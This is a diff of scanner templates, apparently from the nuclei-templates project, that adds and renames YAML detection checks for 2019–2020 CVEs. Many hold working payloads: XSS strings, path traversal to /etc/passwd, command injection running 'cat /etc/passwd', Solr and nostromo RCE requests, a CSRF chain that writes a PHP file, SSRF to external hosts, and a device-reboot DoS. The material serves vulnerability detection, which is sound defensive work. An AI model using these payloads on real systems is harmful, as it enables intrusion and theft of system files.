+# Software Link: https://webport.se/nedladdningar/
+# Refrence: https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"</script><script>alert(document.domain);</script><script>'
+        part: body
@@ -0,0 +1,27 @@
+id: cve-2019-12593
+
+info:
+  name: IIceWarp <=10.4.4 - Local File Inclusion
+  author: pikpikcu
+  severity: high
+
+  # reference: https://nvd.nist.gov/vuln/detail/CVE-2019-12593
+  # Google Dork:-Powered By IceWarp 10.4.4
+  # Vendor Homepage: http://www.icewarp.com
+  # Software Link: https://www.icewarp.com/downloads/trial/
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini'
+      - '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc%5cpasswd'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "[intl]"
+          - "root:x:0"
@@ -1,4 +1,4 @@
-id: CVE-2019-14322
+id: cve-2019-14322

 info:
  name: Odoo 12.0 - Local File Inclusion
@@ -0,0 +1,24 @@
+id: cve-2019-14696
+
+info:
+  name: Open-Scool 3.0/Community Edition 2.3 - Cross Site Scripting
+  author: pikpikcu
+  severity: medium
+
+# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2019-14696
+# Vendor Homepage: [https://open-school.org/]
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/index.php?r=students/guardians/create&id=1%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '<script>alert(document.domain)</script>'
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2019-14974
+id: cve-2019-14974

 info:
  name: SugarCRM Enterprise 9.0.0 - Cross-Site Scripting
@@ -1,4 +1,4 @@
-id: CVE-2019-15043
+id: cve-2019-15043
 info:
  author: bing0o
  name: Grafana unauthenticated API
@@ -0,0 +1,32 @@
+id: cve-2019-15107
+
+info:
+  name: Webmin <= 1.920 Unauhenticated Remote Command Execution
+  author: bp0lr
+  severity: high
+
+# Refrence:-https://www.exploit-db.com/exploits/47293
+# Refrence:-https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
+
+requests:
+  - raw:  #
+      - |
+        POST /password_change.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Referer: https://{{Hostname}}/
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 73
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+        user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -0,0 +1,26 @@
+id: cve-2019-16278
+
+info:
+  author: pikpikcu
+  name: nostromo 1.9.6 - Remote Code Execution
+  severity: critical
+
+  # Source: https://www.exploit-db.com/raw/47837
+
+requests:
+  - raw:
+      - |
+        POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
+        Content-Length: 1
+        Connection: close
+
+        echo
+        echo
+        cat /etc/passwd 2>&1
+
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -0,0 +1,21 @@
+id: cve-2019-16662
+
+info:
+  name: rConfig 3.9.2 - Remote Code Execution
+  author: pikpikcu
+  severity: critical
+# Source:-https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -1,4 +1,4 @@
-id: CVE-2019-16759-1
+id: cve-2019-16759-1

 info:
  name: 0day RCE in vBulletin v5.0.0-v5.5.4 fix bypass
@@ -1,4 +1,4 @@
-id: CVE-2019-16759
+id: cve-2019-16759

 info:
  name: 0day RCE in vBulletin v5.0.0-v5.5.4
@@ -1,9 +1,9 @@
-id: CVE-2019-17382
+id: cve-2019-17382

 info:
  name: Zabbix Authentication Bypass
  author: Harsh Bothra
-  severity: Critical
+  severity: critical
  # source:- https://nvd.nist.gov/vuln/detail/CVE-2019-17382

 requests:
@@ -0,0 +1,58 @@
+id: cve-2019-17558
+
+info:
+  name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template
+  author: pikpikcu
+  severity: critical
+
+# Refrense:https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133
+# https://nvd.nist.gov/vuln/detail/CVE-2019-17558
+# Issues:-https://issues.apache.org/jira/browse/SOLR-13971
+
+requests:
+  - raw:   # Request: set "params.resource.loader.enabled"
+      - |
+        POST /solr/atom/config HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Connection: close
+        Content-Type: application/json
+        Content-Length: 259
+        Upgrade-Insecure-Requests: 1
+
+        {
+            "update-queryresponsewriter": {
+              "startup": "lazy",
+              "name": "velocity",
+              "class": "solr.VelocityResponseWriter",
+              "template.base.dir": "",
+              "solr.resource.loader.enabled": "true",
+              "params.resource.loader.enabled": "true"
+            }
+        }
+
+      # RCE via velocity template:
+      # Get /etc/passwd
+
+      - |
+        GET /solr/atom/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
@@ -1,4 +1,4 @@
-id: CVE-2019-18394
+id: cve-2019-18394

 info:
  name: Openfire Full Read SSRF
@@ -1,4 +1,4 @@
-id: CVE-2019-19368
+id: cve-2019-19368

 info:
  name: Rumpus FTP Web File Manager 8.2.9.1 XSS
@@ -1,4 +1,4 @@
-id: CVE-2019-19781
+id: cve-2019-19781

 info:
  name: Citrix ADC Directory Traversal
@@ -1,4 +1,4 @@
-id: CVE-2019-19908
+id: cve-2019-19908

 info:
  name: phpMyChat-Plus XSS
@@ -1,4 +1,4 @@
-id: CVE-2019-19985
+id: cve-2019-19985

 info:
  name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
@@ -1,4 +1,4 @@
-id: CVE-2019-2588
+id: cve-2019-2588

 info:
  name: Oracle Business Intelligence Path Traversal
@@ -1,4 +1,4 @@
-id: CVE-2019-2725
+id: cve-2019-2725

 info:
  name: Oracle WebLogic Server - Unauthenticated RCE
@@ -1,8 +1,8 @@
-id: CVE-2019-3396
+id: cve-2019-3396
 info:
  author: "Harsh Bothra"
  name: "Atlassian Confluence Path Traversal"
-  severity: High
+  severity: high

 # https://github.com/x-f1v3/CVE-2019-3396

@@ -1,4 +1,4 @@
-id: CVE-2019-3799
+id: cve-2019-3799
 info:
  name: Spring-Cloud-Config-Server Directory Traversal
  author: madrobot
@@ -1,4 +1,4 @@
-id: CVE-2019-5418
+id: cve-2019-5418

 info:
  name: File Content Disclosure on Rails
@@ -1,4 +1,4 @@
-id: CVE-2019-6112
+id: cve-2019-6112

 info:
  name: WordPress Plugin Sell Media v2.4.1 - Cross-Site Scripting
@@ -0,0 +1,26 @@
+id: cve-2019-6715
+
+info:
+  name: CVE-2019-6715
+  author: randomrobbie
+  severity: high
+  description: W3 Total Cache 0.9.2.6-0.9.3 - Unauthenticated Arbitrary File Read / SSRF
+
+requests:
+  - raw:
+      - |
+        PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
+        Content-Length: 124
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+
+        {"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://rfi.nessus.org/rfi.txt"}
+
+    matchers:
+      - type: word
+        words:
+          - "TmVzc3VzQ29kZUV4ZWNUZXN0"
+        part: body
@@ -0,0 +1,42 @@
+id: cve-2019-7256
+
+info:
+  name: eMerge E3 1.00-06 - Remote Code Execution
+  author: pikpikcu
+  severity: critical
+
+# Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
+# Software Link: http://linear-solutions.com/nsc_family/e3-series/
+# Refrence: https://www.exploit-db.com/exploits/47619
+
+requests:
+  - raw:  # Default Port
+      - |
+        GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20nuclei.txt%60 HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        DNT: 1
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+      - |
+        GET /nuclei.txt HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        DNT: 1
+        Connection: close
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -1,4 +1,4 @@
-id: CVE-2019-7609
+id: cve-2019-7609

 info:
  name: Kibana Timelion Arbitrary Code Execution
@@ -1,4 +1,4 @@
-id: CVE-2019-8449
+id: cve-2019-8449

 info:
  name: JIRA Unauthenticated Sensitive Information Disclosure
@@ -1,4 +1,4 @@
-id: CVE-2019-8451
+id: cve-2019-8451

 info:
  name: JIRA SSRF in the /plugins/servlet/gadgets/makeRequest resource
@@ -1,4 +1,4 @@
-id: CVE-2019-8903
+id: cve-2019-8903

 info:
  name: Totaljs - Unathenticated Directory Traversal
@@ -1,4 +1,4 @@
-id: CVE-2019-8982
+id: cve-2019-8982
 info:
  name: Wavemaker Studio 6.6 LFI/SSRF
  author: madrobot
@@ -1,4 +1,4 @@
-id: CVE-2019-9978
+id: cve-2019-9978

 info:
  name: WordPress social-warfare RFI
@@ -1,4 +1,4 @@
-id: CVE-2020-10199
+id: cve-2020-10199

 info:
  name: Nexus Repository Manager 3 RCE
@@ -1,4 +1,4 @@
-id: CVE-2020-10204
+id: cve-2020-10204

 info:
  name: Sonatype Nexus Repository RCE
@@ -0,0 +1,23 @@
+id: cve-2020-11034
+
+info:
+  name: GLPI v.9.4.6 - Open redirect
+  author: pikpikcu
+  severity: low
+
+ # security-advisories: https://github.com/glpi-project/glpi/security/advisories/GHSA-gxv6-xq9q-37hg
+ # https://github.com/glpi-project/glpi/archive/9.4.6.zip
+ # https://nvd.nist.gov/vuln/detail/CVE-2020-11034
+
+requests:
+  - method: GET
+
+    path:
+      - '{{BaseURL}}/index.php?redirect=/\/evil.com/'
+      - '{{BaseURL}}/index.php?redirect=//evil.com'
+
+    matchers:
+      - type: regex
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?evil\.com(?:\s*?)$'
+        part: header
@@ -1,4 +1,4 @@
-id: CVE-2020-1147
+id: cve-2020-1147

 info:
  name: RCE at SharePoint Server (.NET Framework & Visual Studio) detection
@@ -1,4 +1,4 @@
-id: CVE-2020-12720
+id: cve-2020-12720

 info:
  name: CVE-2020-12720 vBulletin SQLI
@@ -1,4 +1,4 @@
-id: CVE-2020-13167
+id: cve-2020-13167

 info:
  name: Netsweeper WebAdmin unixlogin.php Python Code Injection
@@ -1,22 +0,0 @@
-id: CVE-2020-13379
-
-info:
-  name: Unauthenticated Grafana DoS
-  author: pxmme1337
-  severity: medium
-  description: The avatar feature in Grafana 3.0.1 through 7.0.1 has an SSRF Incorrect Access Control issue. This vulnerability allows any unauthenticated user/client to make Grafana send HTTP requests to any URL and return its result to the user/client.
-
-  # Source:-  https://www.exploit-db.com/exploits/48638
-  # WARNING
-  # This vulnerability results in complete crashing of the grafana-server application.
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
-      - '{{BaseURL}}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
-      - "{{BaseURL}}/"
-    matchers:
-      - type: status
-        status:
-          - 502
@@ -0,0 +1,26 @@
+id: cve-2020-14179
+
+info:
+  name: Sensitive data exposure via insecure Jira endpoint
+  author: x1m_martijn
+  severity: medium
+  description: Affected versions of Atlassian Jira Server and Data Center allow remote, unauthenticated attackers to view custom field names and custom SLA names via an Information Disclosure vulnerability in the /secure/QueryComponent!Default.jspa endpoint. The affected versions are before version 8.5.8, and from version 8.6.0 before 8.11.1.
+
+  # Source:-  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14179
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secure/QueryComponent!Default.jspa"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "searchers"
+          - "groups"
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,28 @@
+id: cve-2020-15129
+
+info:
+  name: Open-redirect in Traefik
+  author: dwisiswant0
+  severity: medium
+  description: There exists a potential open redirect vulnerability in Traefik's handling of the X-Forwarded-Prefix header. Active Exploitation of this issue is unlikely as it would require active header injection, however the Traefik team may want to address this issue nonetheless to prevent abuse in e.g. cache poisoning scenarios.
+
+  # Ref:
+  # - https://securitylab.github.com/advisories/GHSL-2020-140-Containous-Traefik
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+      - "{{BaseURL}}:8081"
+    headers:
+      X-Forwarded-Prefix: "https://foo.nl"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 302
+      - type: word
+        words:
+          - "<a href=\"https://foo.nl/dashboard/\">Found</a>"
+        condition: or
+        part: body
@@ -0,0 +1,37 @@
+id: cve-2020-15505
+
+info:
+  name: RCE in MobileIron Core & Connector <= v10.6 & Sentry <= v9.8
+  author: dwisiswant0
+  severity: critical
+
+  # THIS TEMPLATE IS ONLY FOR DETECTING
+  # To carry out further attacks, please see references[2] below.
+  # This template works by passing a Hessian header, otherwise;
+  # it will return a 403 or 500 internal server error. References[3].
+
+  # References:
+  # - [1] https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html
+  # - [2] https://github.com/iamnoooob/CVE-Reverse/tree/master/CVE-2020-15505
+  # - [3] https://github.com/iamnoooob/CVE-Reverse/blob/master/CVE-2020-15505/hessian.py#L10
+  # - [4] https://github.com/orangetw/JNDI-Injection-Bypass
+
+requests:
+  - raw:
+      - |
+        POST /mifs/.;/services/LogService HTTP/1.1
+        Host: {{Hostname}}
+        Referer: https://{{Hostname}}
+        Content-Type: x-application/hessian
+        Connection: close
+
+        {{hex_decode('630200480004')}}
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/x-hessian"
+        part: header
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,24 @@
+id: cve-2020-15920
+
+info:
+  name: Unauthenticated RCE at Mida eFramework on 'PDC/ajaxreq.php'
+  author: dwisiswant0
+  severity: critical
+  description: There is an OS Command Injection in Mida eFramework through 2.9.0 that allows an attacker to achieve Remote Code Execution (RCE) with administrative (root) privileges. No authentication is required.
+
+  # References:
+  # - https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
@@ -0,0 +1,28 @@
+id: cve-2020-16139
+
+info:
+  name: Cisco 7937G Denial-of-Service Reboot Attack
+  author: pikpikcu
+  severity: low
+
+# Refrence:-https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/
+
+requests:
+  - raw:
+      - |
+        POST /localmenus.cgi?func=609&rphl=1&data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        part: header
+        words:
+          - "application/xml"
+      - type: word
+        words:
+          - 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
@@ -1,4 +1,4 @@
-id: CVE-2020-17505
+id: cve-2020-17505

 info:
  name: Artica Web Proxy 4.30 OS Command Injection
@@ -1,4 +1,4 @@
-id: CVE-2020-17506
+id: cve-2020-17506

 info:
  name: Artica Web Proxy 4.30 Authentication Bypass
@@ -1,4 +1,4 @@
-id: CVE-2020-2096
+id: cve-2020-2096

 info:
  name: Jenkins Gitlab Hook XSS
@@ -0,0 +1,25 @@
+id: cve-2020-2140
+info:
+  author: j3ssie/geraldino2
+  name: Jenkin AuditTrailPlugin XSS
+  severity: medium
+  description: Jenkins Audit Trail Plugin 3.2 and earlier does not escape the error message for the URL Patterns field form validation, resulting in a reflected cross-site scripting vulnerability.
+
+  # Source:- https://nvd.nist.gov/vuln/detail/CVE-2020-2140
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample"
+      - "{{BaseURL}}/jenkins/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - <h1>sample
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,24 @@
+id: cve-2020-24223
+
+info:
+  name: Mara CMS  7.5 - Reflective Cross-Site Scripting
+  author: pikpikcu
+  severity: medium
+
+  # Vendor Homepage: https://sourceforge.net/projects/maracms/
+  # Software Link: https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download
+  # Source: https://www.exploit-db.com/exploits/48777
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/contact.php?theme=tes%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"><script>alert(document.domain)</script>'
+        part: body
@@ -0,0 +1,23 @@
+id: cve-2020-25540
+info:
+
+  name: ThinkAdmin 6 - Arbitrarily File Read (CVE-2020-25540)
+  author: geeknik
+  severity: medium
+  description: ThinkAdmin v6 is affected by a directory traversal vulnerability. An unauthorized attacker can read arbitrarily file on a remote server via GET request encode parameter.
+
+  # Reference:- https://www.exploit-db.com/exploits/48812
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -1,11 +1,11 @@
-id: CVE-2020-3187
+id: cve-2020-3187

 # Reference: https://twitter.com/aboul3la/status/1286809567989575685

 info:
  name: CVE-2020-3187
  author: KareemSe1im
-  severity: High
+  severity: high

 requests:
  - method: GET
@@ -1,4 +1,4 @@
-id: CVE-2020-3452
+id: cve-2020-3452

 # Source: https://twitter.com/aboul3la/status/1286012324722155525

@@ -1,4 +1,4 @@
-id: CVE-2020-5284
+id: cve-2020-5284

 info:
  name: Next.js .next/ limited path traversal
@@ -1,9 +1,9 @@
-id: CVE-2020-5405
+id: cve-2020-5405

 info:
  name: Spring Cloud Directory Traversal
  author: Harsh Bothra
-  severity: High
+  severity: high

 # source:- https://nvd.nist.gov/vuln/detail/CVE-2020-5405

@@ -1,4 +1,4 @@
-id: CVE-2020-5410
+id: cve-2020-5410

 info:
  name: Directory Traversal in Spring Cloud Config Server
@@ -0,0 +1,28 @@
+id: cve-2020-5412
+
+info:
+  name: Full-read SSRF in Spring Cloud Netflix (Hystrix Dashboard)
+  author: dwisiswant0
+  severity: medium
+  description: Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6, and older unsupported versions allow applications to use the Hystrix Dashboard proxy.stream endpoint to make requests to any server reachable by the server hosting the dashboard. A malicious user, or attacker, can send a request to other servers that should not be exposed publicly.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/proxy.stream?origin=http://burpcollaborator.net/"
+
+      # To get crithit, try http://169.254.169.254/latest/metadata/
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Burp Collaborator Server"
+        part: body
+      - type: word
+        words:
+          - "Jelly"
+        part: header
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,44 @@
+id: cve-2020-5776
+
+info:
+  name: Cross Site Request Forgery (CSRF) in MAGMI (Magento Mass Importer) Plugin
+  author: dwisiswant0
+  severity: high
+  description: Currently, all versions of MAGMI are vulnerable to CSRF due to the lack of CSRF tokens. RCE (via phpcli command) is possible in the event that a CSRF is leveraged against an existing admin session for MAGMI.
+
+  # Due to the lack of CSRF tokens, RCE (via phpcli command) is possible
+  # in the event that a CSRF is leveraged against an existing admin session for MAGMI.
+  # At the time of this advisory, no patch exists for this issue.
+  # Ref:
+  # - https://nvd.nist.gov/vuln/detail/CVE-2020-5776
+
+requests:
+  - raw:
+      - |
+        POST /magmi/web/magmi_saveprofile.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-type: application/x-www-form-urlencoded
+        Connection: close
+
+        profile=default&PLUGINS_DATASOURCES%3Aclasses=&PLUGINS_DATASOURCES%3Aclass=Magmi_CSVDataSource&CSV%3Aimportmode=remote&CSV%3Abasedir=var%2Fimport&CSV%3Aremoteurl=[https%3A%2F%2Fraw.githubusercontent.com%2Fprojectdiscovery%2Fnuclei-templates%2Fmaster%2Fpayloads%2FCVE-2020-5776.csv]&CSV%3Aremotecookie=&CSV%3Aremoteuser=&CSV%3Aremotepass=&CSV%3Aseparator=&CSV%3Aenclosure=&CSV%3Aheaderline=&PLUGINS_GENERAL%3Aclasses=Magmi_ReindexingPlugin&Magmi_ReindexingPlugin=on&REINDEX%3Aphpcli=echo+%22%3C%3Fphp+phpinfo()%3B%22+%3E+%2Fvar%2Fwww%2Fhtml%2Fmagmi%2Fweb%2Finfo.php%3B+php+&REINDEX%3Aindexes=cataloginventory_stock&cataloginventory_stock=on&PLUGINS_ITEMPROCESSORS%3Aclasses=
+      - |
+        POST /magmi/web/magmi_run.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-type: application/x-www-form-urlencoded
+        Connection: close
+
+        engine=magmi_productimportengine%3AMagmi_ProductImportEngine&ts=1598879870&run=import&logfile=progress.txt&profile=default&mode=update
+      - |
+        GET /magmi/web/info.php HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "PHP Extension"
+          - "PHP Version"
+        condition: and
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,30 @@
+id: cve-2020-5777
+
+info:
+  name: "Remote Auth Bypass in MAGMI (Magento Mass Importer) Plugin <= v0.7.23"
+  author: "dwisiswant0"
+  severity: high
+  description: "MAGMI versions prior to 0.7.24 are vulnerable to a remote authentication bypass due to allowing default credentials in the event there is a database connection failure."
+
+  # Response code 503 indicates a potential successful "Too many connections" error
+  # While the Db connection is down, you can access http://[TARGET]/magmi/web/magmi.php
+  # whith default credential "magmi:magmi" (Authorization: Basic bWFnbWk6bWFnbWk=)
+  # Tested on a AWS t2.medium with max_connection = 75 and PHP-FPM pm-max_children = 100
+  # Ref:
+  # - https://github.com/dweeves/magmi-git/blob/18bd9ec905c90bfc9eaed0c2bf2d3525002e33b9/magmi/inc/magmi_auth.php#L35
+
+requests:
+  - raw:
+      - |
+        GET /index.php/catalogsearch/advanced/result/?name=e HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Too many connections"
+        part: body
+      - type: status
+        status:
+          - 503
@@ -1,4 +1,4 @@
-id: CVE-2020-5902
+id: cve-2020-5902

 info:
  name: F5 BIG-IP TMUI RCE
@@ -1,4 +1,4 @@
-id: CVE-2020-6287
+id: cve-2020-6287

 info:
  name: Create an Administrative User in SAP NetWeaver AS JAVA (LM Configuration Wizard)